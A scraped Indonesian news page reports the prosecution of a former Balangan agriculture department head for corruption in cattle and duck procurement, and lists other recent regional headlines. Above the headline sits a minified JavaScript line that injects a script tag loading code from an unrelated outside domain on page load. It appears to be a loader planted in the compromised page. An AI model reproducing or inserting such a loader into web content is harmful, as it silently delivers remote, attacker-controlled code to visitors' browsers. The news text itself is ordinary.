(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mantan Kadistan Balangan Dituntut 18 Bulan Penjara Korupsi Sapi dan Itik


KANALKALIMANTAN.COM, BANJARMASIN – Mantan Kepala Dinas Pertanian (Kadistan) Kabupaten Balangan Rahmadi dituntut jaksa penuntut umum bersalah melakukan korupsi pada proyek pengadaan hewan ternak sapi dan unggas Dinas Pertanian Balangan tahun 2019-2020.

Pada sidang tuntutan yang digelar Rabu (17/1/2024) siang, di Pengadilan Tipikor Banjarmasin, Rahmadi dituntut dengan pidana penjara 1 tahun 6 bulan dan denda Rp200 juta subsidair 3 bulan kurungan.

Jaksa penuntut umum dari Kejari Balangan dalam tuntutan menyebut terdakwa Rahmadi tidak terbukti bersalah melanggar pasal 2 ayat (1) Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi, sebagaimana dakwaan primair.

Meski lolos dari dakwaan primair, Rahmadi dinyatakan terbukti bersalah melanggar pasal 3 jo pasal 18 Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi, sebagaimana dakwaan subsidair.

Baca juga: Beda 6 Bulan, Tuntutan Dua Terdakwa Kasus Korupsi iPad DPRD Banjarbaru

Mantan Kadistan Balangan ini juga dituntut pidana tambahan berupa membayar uang pengganti kerugian negara sebesar Rp3,5 miliar.

Namun, karena ada penitipan uang pengganti kerugian negara sebesar Rp3,5 miliar ke Kejari Balangan, maka dana titipan jaksa uang tersebut diperhitungkan sebagai uang pengganti.

“Apabila uang yang dititipkan ke rekening penampungan Kejari Balangan tersebut tidak mencukupi paling lama 1 bulan sesudah putusan pengadilan berkekuatan hukum tetap, maka hartanya disita oleh jaksa dan dilelang untuk menutupi uang pengganti, dalam hal terdakwa tidak memiliki harta benda yang mencukupi untuk membayar uang pengganti, maka diganti dengan pidana penjara selama 1 tahun,” kata JPU Fendi.

Sementara usai persidangan, penasehat hukum terdakwa Rahmadi mengaku akan menyiapkan nota pembelaan untuk dibacakan pada sidang berikutnya.

Baca juga: Pemkab Banjar Raih Nilai 90,96 pada Katagori A Zona Hijau Predikat Kualitas Tertinggi Pelayanan Publik

Majelis hakim yang diketuai Jamser Simanjuntak menetapkan sidang berikutnya akan digelar pada Rabu (25/1/2024) dengan agenda pembacaan nota pembelaan penasehat hukum terdakwa.

Untuk diketahui, mantan Kadistan Balangan Rahmadi sebelumnya dituduh melakukan korupsi pada proyek pengadaan sapi dan itik (bebek) program Dinas Pertanian Balangan tahun anggaran 2019 dan 2020.

Pada pengadaan itu, Rahmadi bertindak selaku Pengguna Anggota (PA) sekaligus Pejabat Pembuat Komitmen (PPK)

Dalam dakwan, Rahmadi dikatakan sengaja tidak menunjuk Kuasa Pengguna Anggaran (KPA) dan sengaja memecah anggaran menjadi di bawah Rp200 juta agar bisa dilakukan penunjukan langsung tanpa lelang.

Baca juga: Mabuk Ancam Pengunjung RTH Taman Gembira, MT Diringkus Polisi

Berdasarkan audit Badan Pengawas Keuangan dan Pembangunan (BPKP) Kalsel, nilai kerugian negara pada pengadaan sapi dan itik tersebut sebesar Rp3.563.542.223.  (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

12 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

14 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

17 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

18 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

19 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

21 jam ago

This website uses cookies.